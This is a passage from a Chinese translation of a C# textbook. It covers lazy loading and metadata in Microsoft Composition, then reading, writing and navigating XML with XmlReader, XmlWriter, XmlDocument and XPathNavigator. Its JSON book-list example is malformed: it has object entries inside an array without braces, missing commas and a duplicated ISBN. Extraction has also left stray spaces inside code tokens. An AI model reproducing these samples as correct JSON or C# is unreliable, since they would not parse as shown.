部件默认从容器中加载,例如,调用CompositionHost上的扩展方法SatisfyImports ()来加载。利用Lazy<T>类,部件可以在第一次访问时加载。Lazy<T>类型允许后期实 例化任意类型T,并定义IsValueCreated和Value属性。IsValueCreated属性是一个布尔值, 它返回包含的类型T是否已经实例化的信息。Value属性在第一次访问包含的类型T时初始 化它,并返回T的实例。 插件的入口可以声明为Lazy<T>类型,如示例Lazy<ICalculator>所示(代码文件 UICalculator/CalculatorViewModels/CalculatorImport.cs): [Import] public Lazy<ICalculator> Calculator { get; set; } 调用导入的属性也需要对访问Lazy<T>类型的Value属性进行一些修改。calcImport是 一个CalculatorImport类型的变量。Calculator属性返回Lazy<ICalculator>。Value属性以惰 性的方式实例化导入的类型,并返回ICalculator接口,在该接口中现在可以调用 GetOperations()方法,从计算器插件中获得所有支持的操作(代码文件 UICalculator/CalculatorViewModels/CalculatorManager.cs)。 public IEnumerable<IOperation> GetOperators() => _calcImport.Calculator.Value.GetOperations(); 26.5.3 读取元数据 部件FuelEconomy和TemperatureConversion是实现接口ICalculatorExtension的所有部 件,也是惰性加载的。如前所述,集合可以用IEnumerable<T>类型的属性来导入。部件采 用惰性方式来实例化,属性就可以是IEnumerable<Lazy<T>>类型。这些部件在实例化前 需要提供它们的信息,才能给用户显示使用这些部件可以导出的内容信息。这些部件还为 使用元数据提供了额外的信息,如前所述。元数据信息可以使用Lazy类型和两个泛型参数 来访问。使用Lazy<ICalculatorExtension, CalculatorExtensionMetadataAttribute>,其中第一 个泛型参数ICalculatorExtension用于访问实例化类型的成员;第二个泛型参数 ICalculatorExtensionMetadataAttribute用于访问元数据信息(代码文件 UICalculator/CalculatorViewModels/CalculatorExtensionsImport.cs): [ImportMany()] public IEnumerable<Lazy<ICalculatorExtension, CalculatorExtensionMetadataAttribute>> CalculatorExtensions { get; set; } 方法GetExtensionInformation返回一个Lazy <ICalculatorExtension, CalculatorExtensionMetadata Attribute>的数组,它可以在不实例化部件的情况下访问部件 的元数据信息(代码文件UICalculator /CalculatorViewModels / CalculatorExtensionsManager.cs): public IEnumerable<Lazy<ICalculatorExtension, CalculatorExtensionMetadataAttribute>> GetExtensionInformation() => _calcExtensionImport.CalculatorExtensions.ToArray(); 在初始化时,GetExtensionInformation方法用于CalculatorExtensionsViewModel类,填 充Extensions属性(代码文件UICalculator / CalculatorViewModels / CalculatorExtensionsViewModel.cs): public class CalculatorExtensionsViewModel: BindableBase { private CalculatorExtensionsManager _calculatorExtensionsManager; public CalculatorExtensionsViewModel() { _calculatorExtensionsManager = new CalculatorExtensionsManager(); _calculatorExtensionsManager.ImportsSatisfied += (sender, e) => { Status += $"{e.StatusMessage}\n"; }; } public void Init(params Type[] parts) { _calculatorExtensionsManager.InitializeContainer(parts); foreach (var extension in _calculatorExtensionsManager.GetExtensionInformation()) { var vm = new ExtensionViewModel(extension); vm.ActivatedExtensionChanged += OnActivatedExtensionChanged; Extensions.Add(vm); } } public ObservableCollection<ExtensionViewModel> Extensions { get; } = new ObservableCollection<ExtensionViewModel>(); //etc. 在XAML代码中,绑定了元数据信息。Lazy类型的Metadata属性返回 ICalculatorExtension-MetadataAttribute。这样就可以访问Description、Title和ImageUri,以 进行数据绑定,而无须实例化插件(代码文件 UICalculator/WPFCalculatorHost/MainWindow.xaml): <RibbonGroup Header="Addins" ItemsSource="{Binding CalculatorExtensionsViewModel.Extensions, Mode=OneWay}"> <RibbonGroup.ItemTemplate> <DataTemplate> <RibbonButton ToolTip="{Binding Extension.Metadata.Description, Mode=OneTime}" Label="{Binding Extension.Metadata.Title, Mode=OneTime}" Tag="{Binding Path=Extension, Mode=OneTime}" LargeImageSource="{Binding Extension.Metadata.ImageUri, Converter={StaticResource bitmapConverter}, Mode=OneTime}" Command="{Binding ActivateCommand}" /> </DataTemplate> </RibbonGroup.ItemTemplate> </RibbonGroup> 图26-7显示了正在运行的应用程序,其中读取了计算器扩展中的元数据,它包含图 像、标题和描述。图26-8显示了激活的计算器扩展。 图26-7 图26-8 26.6 小结 本章介绍了Microsoft Composition的部件、出口、入口和容器,讨论了应用程序在构 建时如何完全独立于其部件,如何动态加载来自不同程序集的部件。 MEF实现方式使用特性或约定来匹配出口和入口,我们介绍了基于约定的新部件注 册技术,它允许在不使用特性的情况下导出部件,这样就可以在无法修改源代码的地方使 用部件来添加特性,还可以创建基于Composition的框架,它不需要框架的用户添加特性 就能导入部件。 我们还学习了部件如何通过惰性方式加载进来,仅在需要时实例化。部件可以提供元 数据,为客户端提供足够的信息,以确定部件是否应实例化。 第27章介绍XML和JSON——这两种数据格式可用于序列化对象,读取和分析这些格 式的数据。 第27章 XML和JSON 本章要点 ● XML标准 ● XmlReader和XmlWriter ● XmlDocument ● XPathNavigator ● LINQ to XML ● 使用System.Xml.Linq名称空间中的对象 ● 使用LINQ查询XML文档 ● 创建JSON ● JSON和对象之间的来回转换 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● XmlReaderAndWriter ● XmlDocument ● XPathNavigator ● ObjectToXmlSerialization ● ObjectToXmlSerializationWOAttributes ● LinqToXmlSample ● JsonSample 27.1 数据格式 自1996年以来,可扩展标记语言(XML)就是信息技术的重要组成部分。该语言用 来描述数据,它用于配置文件、源代码文档、使用SOAP的Web服务等。近年来,它在某 些方面已被JavaScript Object Notation (JSON)取代(例如,配置文件和在基于REST的 Web服务中传输数据),因为此技术使用的开销更少,很容易在JavaScript中使用。然 而,JSON不能在今天所有使用XML的场景中代替XML。这两个数据格式可以都用 于.NET应用程序,如本章所述。 为了处理XML,可以使用不同的选项。可以阅读完整的文档,使用XmlDocument类 在文档对象模型(DOM)层次结构内导航,也可以使用XmlReader和XmlWriter。使用 XmlReader比较复杂,但可以读取更大的文件。使用XmlDocument把完整的文档加载在内 存中。使用XmlReader可以逐个节点地读取。 使用XML的另一种方式是使用System.Xml.Serialization名称空间,把.NET对象树序列 化为XML,把XML数据反序列化成.NET对象。 查询和过滤XML内容时,可以使用XML标准XPath或使用LINQ to XML。这两种技术 都包含在这一章。LINQ to XML还提供了一种简单的方法来创建XML文档和片段。  注意: 如果要更多地了解XML,可以参阅Wrox出版社的Prefessional XML (Wiley出版社,2007年)。 首先简要介绍目前使用的XML标准。 27.1.1 XML 第一个XML示例将使用books.xml文件作为数据源。books.xml和本章的其他代码示例 可以从Wrox网站(www.wrox.com)中找到。books.xml文件是假想书店的书目清单,它包 含类型、作者姓名、价格和ISBN号等信息。 下面是books.xml文件: <? xml version='1.0'? > <! -- This file represents a fragment of a book store inventory database --> <bookstore> <book genre="autobiography" publicationdate="1991" ISBN="1-861003-11-0"> <title>The Autobiography of Benjamin Franklin</title> <author> <first-name>Benjamin</first-name> <last-name>Franklin</last-name> </author> <price>8.99</price> </book> <book genre="novel" publicationdate="1967" ISBN="0-201-63361-2"> <title>The Confidence Man</title> <author> <first-name>Herman</first-name> <last-name>Melville</last-name> </author> <price>11.99</price> </book> <book genre="philosophy" publicationdate="1991" ISBN="1-861001-57-6"> <title>The Gorgias</title> <author> <name>Plato</name> </author> <price>9.99</price> </book> </bookstore> 下面看看这个XML内容的部分。XML文档应该以XML声明开头,它指定了XML版本 号: <? xml version='1.0'? > 可以把注释放在XML文档的任何标记之外。它们以< ! --开头,以-- >结束: <! -- This file represents a fragment of a book store inventory database --> 完整的文档可以只包含一个根元素(而一个XML片段可以包含多个元素)。在 books.xml文件中,根元素是bookstore: <bookstore> <! -- child elements here --> </bookstore> XML元素可以包含子元素。author元素包含子元素first-name和last-name。first-name元 素本身包含内部文本Benjamin。first-name是author的一个子元素,这也意味着author是 first-name的父元素。first-name和last-name是同级元素: <author> <first-name>Benjamin</first-name> <last-name>Franklin</last-name> </author> XML元素还可以包含特性。book元素包含特性genre、publicationdate和ISBN。特性值 必须放在引号中。 <book genre="novel" publicationdate="1967" ISBN="0-201-63361-2"> </book>  注意: HTML5规范不需要给特性加上引号。HTML不是XML; HTML的语法 更宽松,而XML比较严格。HTML文档也可以使用XHTML编写,而XHTML使用了 XML语法。 27.1.2 .NET支持的XML标准 W3C(World Wide Web Consortium,万维网联合会)开发了一组标准,它给XML提 供了强大的功能和潜力。如果没有这些标准,XML就不会对开发领域有它应有的影响。 W3C网站(www.w3.org)包含XML的所有有用信息。 .NET Framework支持下述W3C标准: ● XML 1.0(www.w3.org/TR/REC-xml),包括DTD支持 ● XML名称空间(www.w3.org/TR/REC-xml-names),包括流级和DOM ● XML架构(www.w3.org/XML/Schema) ● XPath表达式(www.w3.org/TR/xpath) ● XSLT转换(www.w3.org/TR/xslt) ● DOM Level 1 Core(www.w3.org/TR/REC-DOM-Level-1) ● DOM Level 2 Core(www.w3.org/TR/DOM-Level-2-Core) ● SOAP 1.1(www.w3.org/TR/SOAP) 随着Microsoft和社区更新.NET Core, W3C更新所推荐的标准,标准支持的级别也会改 变,因此,必须确保标准和Microsoft提供的支持级别都是最新的。 27.1.3 在框架中使用XML .NET Framework为读写XML提供了许多不同的选项。可以直接使用DOM树处理 XmlDocument、System.Xml名称空间和NuGet包System.Xml.XmlDocument中的类。这很有 效,很容易处理放在内存中的文件。 为了快速读写XML,可以使用XmlReader和XmlWriter类。这些类支持流,能够处理 大型XML文件。这些类也在System.Xml名称空间中,但它们在另一个NuGet包中: System.Xml.ReaderWriter。 为了使用XPath标准导航和查询XML,可以使用XPathNavigator类。它在NuGet包 System.Xml. XmlDocument的System.Xml XPath名称空间中定义。 自.NET 3.5以来,.NET提供了另一种语法来查询XML:LINQ。尽管LINQ to XML不支 持W3C DOM标准,但它提供了一个更容易导航XML树的选项,更容易创建XML文档或 片段。这里需要的名称空间是System.Xml.Linq和NuGet包System.Xml.XDocument。  注意: LINQ参见第13章。LINQ的具体实现LINQ to XML也在这一章中。 为了序列化和反序列化.NET对象到XML,可以使用XmlSerializer。在.NET Core中, 这里需要NuGet包System.Xml.XmlSerializer与System.Xml.Serialization名称空间。 WCF为XML序列化使用另一种方法:数据协定序列化。尽管XmlSerializer允许区分特 性和元素之间的序列化,但不能使用DataContractSerializer序列化XML。  注意: WCF参见第44章。 27.1.4 JSON JavaScript Object Notation (JSON)是近年来出现的,因为它可以直接在JavaScript 中,且与XML相比,它的开销较少。JSON由IETF RFC 7159 (https://tools.ietf.org/html/rfc7159)和ECMA标准404(http://www.ecma-international.org/ publications/files/ECMA-ST/ECMA-404.pdf)定义。 要发送JSON文档,需要一个正式的MIME类型application / JSON。有些框架还使用非 正式的旧MIME类型text / json或text / javascript。 这里使用JSON描述与前面XML文件相同的内容。数组的元素都包含在括号内。在这 个例子中,JSON文件包含多个book对象。花括号定义了对象或字典。键和值用冒号隔 开。键需要放在引号中,值是一个字符串: [ "book": { "genre": "autobiography", "publicationdate": 1991, "ISBN": "1-861003-11-0", "title": "The Autobiography of Benjamin Franklin" "author": { "first-name": "Benjamin", "last-name": "Franklin" }, "price": 8.99 }, "book": { "genre": "novel", "publicationdate": 1967, "ISBN": "1-861001-57-6", "title": "The Confidence Man" "author": { "first-name": "Herman", "last-name": "Melville" }, "price": 11.99 }, "book": { "genre": "philosophy", "publicationdate": 1991, "ISBN": "1-861001-57-6", "title": "The Georgias" "author": { "name": "Plato", }, "price": 9.99 } ] 在.NET中,JSON用在许多不同的地方。创建新的DNX项目时,可以看到JSON用作 项目配置文件。它用于Web项目,使用ASP.NET Web API(参见第42章)在客户端上序列 化和反序列化数据,用于数据存储,如NoSQL数据库DocumentDB(可用于Microsoft Azure)。 使用JSON和.NET,有不同的选项可供使用。一个JSON序列化器是 DataContractJsonSerializer。这个类型派生自基类XmlObjectSerializer,但它与XML并没有 关系。发明数据协定序列化技术时(在.NET 3.0中发明),他们的想法是,从现在起,每 个序列化都是XML(XML在二进制格式中也是可用的)。随着时间的推移,这种假设不 再正确。JSON得到广泛的使用。事实上,JSON添加到层次结构中,通过数据协定序列化 来支持。然而,一个更快、更灵活的实现方式赢得了市场,目前Microsoft支持它,并用于 很多.NET应用程序:Json.NET。因为这个库是.NET应用程序最常用的,所以本章讨论 它。 除了核心JSON标准之外,JSON也在成长。XML已知的特性添加到JSON。下面介绍 JSON的改进示例,并与XML特性相比较。XML模式定义(XSD)描述了XML词汇表, 在撰写本文时,具有类似特性的JSON模式正在开发。对于WCF, XML可以压缩为定制的 二进制格式。也可以用二进制形式序列化JSON,这比文本格式更紧凑。JSON的二进制版 本由BSON描述(Binary JSON):http://bsonspec.org。通过网络发送SOAP(XML格式)利 用Web服务描述语言(WSDL)来描述服务。对于提供JSON数据的REST服务,也可以使 用描述:Swagger (http://swagger.io)。  注意: ASP. NET Web API参见第42章。 现在讨论.NET Framework类的具体用法。 27.2 读写流格式的XML XmlReader类和XmlWriter类提供了读写大型XML文档的快速方式。基于XmlReader的 类提供了一种非常迅速、只向前的只读光标来处理XML数据。因为它是一个流模型,所 以内存要求不是很高。但是,它没有提供基于DOM模型的导航功能和读写功能。基于 XmlWriter的类可以生成遵循W3C的XML 1.0(第4版)的XML文档。 使用XmlReader和XmlWriter的示例代码利用以下依赖项和名称空间: 依赖项: NETStandard.Library System.Xml.ReaderWriter 名称空间: System.Xml static System.Console 应用程序允许为所有不同的示例场景指定几个定义为const值的命令行参数,还指定 了要读写的文件名(代码文件XmlReaderAndWriterSample / Program.cs): class Program { private const string BooksFileName = "books.xml"; private const string NewBooksFileName = "newbooks.xml"; private const string ReadTextOption = "-r"; private const string ReadElementContentOption = "-c"; private const string ReadElementContentOption2 = "-c2"; private const string ReadDecimalOption = "-d"; private const string ReadAttributesOption = "-a"; private const string WriteOption = "-w"; // etc } Main方法基于传递的命令行,调用具体的示例方法: static void Main(string[] args) { if (args.Length ! = 1) { ShowUsage(); return; } switch (args[0]) { case ReadTextOption: ReadTextNodes(); break; case ReadElementContentOption: ReadElementContent(); break; case ReadElementContentOption2: ReadElementContent2(); break; case ReadDecimalOption: ReadDecimal(); break; case ReadAttributesOption: ReadAttributes(); break; default: ShowUsage(); break; } } 27.2.1 使用XmlReader类读取XML XmlReader能够阅读大的XML流。它实现为拉模型解析器,把数据拉入请求它的应用 程序。 下面介绍一个非常简单的示例,以读取XML数据,后面将详细介绍XmlReader类。因 为XmlReader是一个抽象类,所以不能直接实例化。而要调用工厂方法Create,返回派生 自XmlReader基类的一个实例。Create方法提供了几个重载版本,其中第一个参数可以提 供文件名、TextReader或Stream。示例代码直接把文件名传递给Books.xml文件。在创建读 取器时,节点可以使用Read方法读取。只要没有节点可用,Read方法就返回false。可以调 试while循环,查看books.xml返回的所有节点类型。只有XmlNodeType.Text类型的节点值 才写入控制台(代码文件XMLReaderAnd-WriterSample / Program.cs): public static void ReadTextNodes() { using (XmlReader reader = XmlReader.Create(BooksFileName) ) { while (reader.Read()) { if (reader.NodeType == XmlNodeType.Text) { WriteLine(reader.Value); } } } } 用- r选项运行应用程序,显示所有文本节点的值: The Autobiography of Benjamin Franklin Benjamin Franklin 8.99 The Confidence Man Herman Melville 11.99 The Gorgias Plato 9.99 1. Read()方法 遍历文档有几种方式,如前面的示例所示,Read()方法可以进入下一个节点。然 后验证该节点是否有一个值(HasValue()),或者该节点是否有特性 (HasAttributes())。也可以使用ReadStartElement()方法,该方法验证当前节点是否 是起始元素,如果是起始元素,就可以定位到下一个节点上。如果不是起始元素,就引发 一个XmlException异常。调用这个方法与调用Read()方法后再调用IsStartElement()方 法是一样的。 ReadElementString()类似于ReadString(),但它可以选择以元素名作为参数。如 果下一个内容节点不是起始标记,或者如果Name参数不匹配当前的节点Name,就会引发 异常。 下面的示例说明了如何使用ReadElementString()方法。注意,因为这个示例使用 FileStream,所以需要确保导入System.IO名称空间(代码文件 XMLReaderAndWriterSample/Program.cs): public static void ReadElementContent() { using (XmlReader reader = XmlReader.Create(BooksFileName)) { while (! reader.EOF ) { if (reader.MoveToContent() == XmlNodeType.Element && reader.Name == "title") { WriteLine(r eader.ReadElementContentAsString()); } else { // move on reader.Read() ; } } } } 在while循环中,使用MoveToContent()方法查找类型为XmlNodeType.Element、名 称为title的节点。我们使用XmlTextReader类的EOF属性作为循环条件。如果节点的类型不 是Element,或者名称不是title, else子句就会调用Read()方法进入下一个节点。当查找到 一个满足条件的节点时,就把ReadElementString()方法的结果添加到控制台中。这样就 在控制台中添加一个书名。注意,在成功执行ReadElementString()方法后,不需要调用 Read()方法,因为ReadElementString()方法已经使用了整个Element,并定位到下一 个节点上。 如果删除了if子句中的&&rdr.Name=="title",在抛出XmlException异常时,就必须捕 获它。在XML数据文件中,MoveToContent()方法查找到的第一个元素是<bookstore>, 因为它是一个元素,所以通过了if语句中的检查。但是,由于它不包含简单的文本类型, 因此它会导致ReadElementString()方法引发一个XmlException异常。解决这个问题的一 种方式是捕获异常,在异常的处理程序中调用Read方法(代码文件 XmlReaderAndWriterSample/Program.cs): public static void ReadElementContent2() { using (XmlReader reader = XmlReader.Create(BooksFileName)) { while (! reader.EOF) { if (reader.MoveToContent() == XmlNodeType.Element) { try { WriteLine(reader.ReadElementContentAsString()); } catch (XmlException ex) { reader.Read(); } } else { // move on reader.Read(); } } } } 运行这段代码,结果应与前面示例的结果一样。XmlReader类还可以读取强类型化的 数据,它有几个ReadElementContentAs()方法,如ReadElementContentAsDouble()、 ReadElementContentAs-Boolean()等。下面的示例说明了如何把对应值读取为小数,并 对该值进行数学处理。在本例中,要给价格元素中的值增加25%(代码文件 XmlReaderAndWriterSample/Program.cs): public static void ReadDecimal() { using (XmlReader reader = XmlReader.Create(BooksFileName)) { while (reader.Read()) { if (reader.NodeType == XmlNodeType.Element) { if (reader.Name == "price") { decimal price = reader.ReadElementContentAsDecimal(); WriteLine($"Current Price = {price}"); price += price * .25m; WriteLine($"New price {price}"); } else if (reader.Name == "title") { WriteLine(reader.ReadElementContentAsString()); } } } } } 2.检索特性数据 在运行示例代码时,可能注意到在读取节点时,没有看到特性。这是因为特性不是文 档的结构的一部分。针对元素节点,可以检查特性是否存在,并可选择性地检索特性值。 例如,如果有特性,HasAttributes属性就返回true;否则返回false。AttributeCount属 性确定特性的个数。GetAttribute()方法按照名称或索引来获取特性。如果要一次迭代 一个特性,就可以使用MoveToFirstAttribute()和MoveToNextAttribute()方法。 下面的示例迭代books.xml文档中的特性(代码文件 XmlReaderAndWriterSample/Program.cs): public static void ReadAttributes() { using (XmlReader reader = XmlReader.Create(BooksFileName)) { while (reader.Read()) { if (reader.NodeType == XmlNodeType.Element) { for (int i = 0; i < reader.AttributeCount ; i++) { WriteLine(reader.GetAttribute(i) ); } } } } } 这次查找元素节点。找到一个节点后,就迭代其所有的特性,使用GetAttribute() 方法把特性值加载到列表框中。在本例中,这些特性是genre、publicationdate和ISBN。 27.2.2 使用XmlWriter类 XmlWriter类可以把XML写入一个流、文件、StringBuilder、TextWriter或另一个 XmlWriter对象中。与XmlTextReader类一样,XmlWriter类以只向前、未缓存的方式进行 写入。XmlWriter类的可配置性很高,可以指定是否缩进内容、缩进量、在特性值中使用 什么引号,以及是否支持名称空间等信息。与XmlReader类一样,这个配置使用 XmlWriterSettings对象进行。 下面是一个简单的示例,它说明了如何使用XmlTextWriter类(代码文件 XmlReaderAndWriter-Sample/Program.cs): public static void WriterSample() { var settings = new XmlWriterSettings { Indent = true, NewLineOnAttributes = true, Encoding = Encoding.UTF8, WriteEndDocumentOnClose = true } StreamWriter stream = File.CreateText(NewBooksFileName); using (XmlWriter writer = XmlWriter.Create(stream, settings)) { writer.WriteStartDocument(); //Start creating elements and attributes writer.WriteStartElement("book"); writer.WriteAttributeString("genre", "Mystery"); writer.WriteAttributeString("publicationdate", "2001"); writer.WriteAttributeString("ISBN", "123456789"); writer.WriteElementString("title", "Case of the Missing Cookie"); writer.WriteStartElement("author"); writer.WriteElementString("name", "Cookie Monster"); writer.WriteEndElement(); writer.WriteElementString("price", "9.99"); writer.WriteEndElement(); writer.WriteEndDocument(); } } 这里编写一个新的XML文件newbook.xml,并给一本新书添加数据。注意XmlWriter 类会用新文件覆盖已有文件。本章的后面会把一个新元素或新节点插入到已有文档中,使 用Create()静态方法实例化XmlWriter对象。在本例中,把一个表示文件名的字符串和 XmlWriterSettings类的一个实例传递为参数。 XmlWriterSettings类的属性控制生成XML的方式。CheckedCharacters属性是一个布尔 值,如果XML中的字符不遵循W3C XML 1.0建议,该属性就会引发一个异常。Encoding 类设置生成XML所使用的编码,默认为Encoding.UTF8。Indent属性是一个布尔值,它确 定元素是否应缩进。把IndentChars属性设置为用于缩进的字符串,默认为两个空格。 NewLine属性用于确定换行符。在上面的示例中,把NewLineOnAttribute属性设置为true, 所以把每个属性单独放在一行上,更便于读取生成的XML。 WriteStartDocument()方法添加文档声明。现在开始写入数据。首先是book元素, 接下来添加genre、publicationdate和ISBN属性。然后写入title、author和price元素。注意 author元素有一个子元素name。 单击对应按钮,生成booknew.xml文件,如下所示: <? xml version="1.0" encoding="utf-8"? > <book genre="Mystery" publicationdate="2001" ISBN="123456789"> <title>Case of the Missing Cookie</title> <author> <name>Cookie Monster</name> </author> <price>9.99</price> </book> 在开始和结束写入元素和属性时,要注意控制元素的嵌套。在给authors元素添加 name子元素时,就可以看到这种嵌套。注意WriteStartElement()和WriteEndElement() 方法调用是如何安排的,以及它们如何在输出文件中生成嵌套的元素。 除了WriteElementString()和WriteAttributeString()方法外,还有其他几个专用的 写入方法。WriteComment()方法以正确的XML格式输出注释。WriteChars()方法输 出字符缓冲区的内容,WriteChars()方法需要一个缓冲区(一个字符数组)、写入的起 始位置(一个整数)和要写入的字符个数(一个整数)。 使用基于XmlReader和XmlWriter的类读写XML非常灵活,使用起来也很简单。下面 介绍如何使用System.Xml名称空间中的XmlDocument类和XmlNode类实现DOM。 27.3 在.NET中使用DOM .NET中的文档对象模型(Document Object Model, DOM)支持W3C DOM规范。DOM 通过XmlNode类来实现。XmlNode是一个抽象类,它表示XML文档的一个节点。具体的 类是XmlDocument、XmlDocumentFragment、XmlAttribute、XmlNotation。 XmlLinkedNode是一个抽象类,它派生于XmlNode。派生自XmlLinkedNode的具体类是 XmlDeclaration、XmlDocumentType、XmlElement和XmlProcessingInstruction。 XmlNodeList类是节点的一个有序列表。这是一个实时的节点列表,对节点的任何修 改都会立即反映在列表中。XmlNodeList类支持索引访问或迭代访问。 XmlNode类和XmlNodeList类组成了.NET Framework中DOM实现的核心。 使用XmlDocument的示例代码利用以下依赖项和名称空间: 依赖项: NETStandard.Library System.Xml.XmlDocument 名称空间: System System.IO System.Xml static System.Console 27.3.1 使用XmlDocument类读取 XmlDocument类是用于在.NET中表示DOM的类。与XmlReader类和XmlWriter类不 同,XmlDocument类具有读写功能,并可以随机访问DOM树。 下面介绍的示例创建一个XmlDocument对象,加载磁盘上的一个文档,再从标题元素 中加载带有数据的文本框,这类似于27.4.1节的示例,区别是本例选择要使用的节点,而 不是像基于XmlReader类的示例那样浏览整个文档。 下面是创建XmlDocument对象的代码,与XmlReader示例相比,这个示例比较简单 (代码文件XmlDocumentSample/Program.cs): public static void ReadXml() { using (FileStream stream = File.OpenRead(BooksFileName)) { var doc = new XmlDocument(); doc.Load(stream); XmlNodeList titleNodes = doc.GetElementsByTagName("title"); foreach (XmlNode node in titleNodes) { WriteLine(node.OuterXml); } } } 如果这就是我们需要完成的全部工作,使用XmlReader类就是加载文本框的一种非常 高效的方式,原因是我们只浏览一次文档,就完成了处理。这就是XmlReader类的工作方 式。但如果要重新查看某个节点,则最好使用XmlDocument类。 27.3.2 遍历层次结构 XmlDocument类的一大优势是可以导航DOM树。下面的例子访问所有的author元素, 把外部XML写到控制台(这是包括author元素的XML)、内部XML(没有author元素)、 下一个同级元素、上一个同级元素、第一个自元素和父元素(代码文件 XmlDocumentSample / Program.cs): public static void NavigateXml() { using (FileStream stream = File.OpenRead(BooksFileName)) { var doc = new XmlDocument(); doc.Load(stream); XmlNodeList authorNodes = doc.GetElementsByTagName("author"); foreach (XmlNode node in authorNodes) { WriteLine($"Outer XML: {node.OuterXml}"); WriteLine($"Inner XML: {node.InnerXml}"); WriteLine($"Next sibling outer XML: {node.NextSibling.OuterXml}"); WriteLine($"Previous sibling outer XML: {node.PreviousSibling.OuterXml}"); WriteLine($"First child outer Xml: {node.FirstChild.OuterXml}"); WriteLine($"Parent name: {node.ParentNode.Name}"); WriteLine(); } } } 运行应用程序时,可以看到第一个元素的这些值: Outer XML: <author><first-name>Benjamin</first-name> <last-name>Franklin</last-name></author> Inner XML: <first-name>Benjamin</first-name><last-name>Franklin</last-name> Next sibling outer XML: <price>8.99</price> Previous sibling outer XML: <title>The Autobiography of Benjamin Franklin</title> First child outer Xml: <first-name>Benjamin</first-name> Parent name: book 27.3.3 使用XmlDocument插入节点 前面的示例使用XmlWriter类新建一个文档。其局限性是它不能把节点插入到当前文 档中。而使用XmlDocument类可以做到这一点。 下面的代码示例使用CreateElement创建元素book,增加了一些属性,添加一些子元 素,在创建元素book后,将其添加到XML文档的根元素中(代码文件 XmlDocumentSample/Program.cs): public static void CreateXml() { var doc = new XmlDocument(); using (FileStream stream = File.OpenRead("books.xml")) { doc.Load(stream); } //create a new 'book' element XmlElement newBook = doc.CreateElement("book"); //set some attributes newBook.SetAttribute("genre", "Mystery"); newBook.SetAttribute("publicationdate", "2001"); newBook.SetAttribute("ISBN", "123456789"); //create a new 'title' element XmlElement newTitle = doc.CreateElement("title"); newTitle.InnerText = "Case of the Missing Cookie"; newBook.AppendChild(newTitle); //create new author element XmlElement newAuthor = doc.CreateElement("author"); newBook.AppendChild(newAuthor); //create new name element XmlElement newName = doc.CreateElement("name"); newName.InnerText = "Cookie Monster"; newAuthor.AppendChild(newName); //create new price element XmlElement newPrice = doc.CreateElement("price"); newPrice.InnerText = "9.95"; newBook.AppendChild(newPrice); //add to the current document doc.DocumentElement.AppendChild(newBook); var settings = new XmlWriterSettings { Indent = true, IndentChars = "\t", NewLineChars = Environment.NewLine }; //write out the doc to disk using (StreamWriter streamWriter = File.CreateText(NewBooksFileName)) using (XmlWriter writer = XmlWriter.Create(streamWriter, settings)) { doc.WriteContentTo(writer); } XmlNodeList nodeLst = doc.GetElementsByTagName("title"); foreach (XmlNode node in nodeLst) { WriteLine(node.OuterXml); } } 运行应用程序时,下面的book元素添加到bookstore中,写入文件newbooks.xml: <book genre="Mystery" publicationdate="2001" ISBN="123456789"> <title>Case of the Missing Cookie</title> <author> <name>Cookie Monster</name> </author> <price>9.95</price> </book> 在创建文件之后,应用程序将所有标题节点写入控制台。可以看到,目前包括添加的 元素: <title>The Autobiography of Benjamin Franklin</title> <title>The Confidence Man</title> <title>The Gorgias</title> <title>Case of the Missing Cookie</title> 在希望随机访问文档时,可以使用XmlDocument类。在希望有一个流类型的模型时, 可以使用基于XmlReader的类。基于XmlNode的XmlDocument类的灵活性要求的内存比较 多,读取文档的性能也没有使用XmlReader类好。遍历XML文档还有另一种方式:使用 XPathNavigator类。 27.4 使用XPathNavigator类 XPathNavigator类使用XPath语法从XML文档中选择、迭代和查找数据。 XPathNavigator类可以从XmlDocument中创建,XmlDocument不能改变;它用于提高性能 和只读。与XmlReader类不同,XPathNavigator类不是一个流模型,所以文档只读取和分 析一次。与XmlDocument类似,它需要把完整的文档加载到内存中。 NuGet包System.Xml.XPath中的System.Xml.XPath名称空间建立在速度的基础上,由 于它提供了XML文档的一种只读视图,因此它没有编辑功能。这个名称空间中的类可以 采用光标的方式在XML文档上进行快速迭代和选择操作。 表27-1列出了System.Xml.XPath名称空间中的重要类,并对每个类的功能进行了简单 的说明。 表27-1 类名 说明 XPathDocument 提供整个XML文档的视图,只读 XPathNavigator 提供XPathDocument的导航功能 XPathNodeIterator 提供节点集的迭代功能 XPathExpression 表示编译好的XPath表达式,由SelectNodes、 SelectSingleNodes、Evaluate和Matches使用 示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library System.Xml.XmlDocument System.Xml.XPath 名称空间: System.IO System.Xml System.Xml.XPath static System.Console 27.4.1 XPathDocument类 XPathDocument类没有提供XmlDocument类的任何功能,它唯一的功能是创建 XPathNavigator。因此,这是XPathDocument类上唯一可用的方法(除了其他由Object提供 的方法)。 XPathDocument类可以用许多不同的方式创建。可以给构造函数传递XmlReader或基 于流的对象,其灵活性非常大。 27.4.2 XPathNavigator类 XPathNavigator包含移动和选择元素的方法。移动方法把迭代器的当前位置设置为应 该移动到的元素。可以移动到元素的具体特性:MoveToFirstAttribute方法移动到第一个特 性,MoveToNextAttribute方法移动到下一个特性。MoveToAttribute允许指定一个具体的 特性名称。使用MoveToFirst、MoveToNext、MoveToPrevious和MoveToLast可以移动到同 级节点。也可以移动到子元素(MoveToChild、MoveToFirstChild),移动到父元素 (MoveToParent),直接移动到根元素(MoveToRoot)。 可以使用XPath表达式和Select方法来选择方法。为了根据树中具体的节点和当前位置 过滤选项,需要使用其他方法。SelectAncestor只过滤出祖先节点,SelectDescendants过滤 出所有后代节点。SelectChildren过滤出直接子节点。SelectSingleNode接受一个XPath表达 式,返回一个匹配的节点。 如果CanEdit属性返回true, XPathNavigator还允许使用Insert方法之一修改XML树。可 用于.NET Core的XPathNavigator总是返回false,这些方法通过抛出 NotImplementedException异常来实现。在.NET 4.6中,使用XmlDocument类创建 XPathNavigator时,导航器的属性CanEdit返回true,从而允许使用Insert方法进行修改。 27.4.3 XPathNodeIterator类 XPathDocument代表完整的XML文档,XPathNavigator允许选择文档中的节点,把光 标移动到指定的节点,XPathNodeIterator允许遍历一组节点。 XPathNodeIterator类由XPathNavigators类的Select()方法返回,使用它可以迭代 XPathNavigator类的Select()方法返回的节点集。使用XPathNodeIterator类的 MoveNext()方法不会改变创建它的XPathNavigator类的位置。然而,使用 XPathNodeIterator的Current属性可以得到一个新的XPathNavigator。Current属性返回一个 设置为当前位置的XPathNavigator。 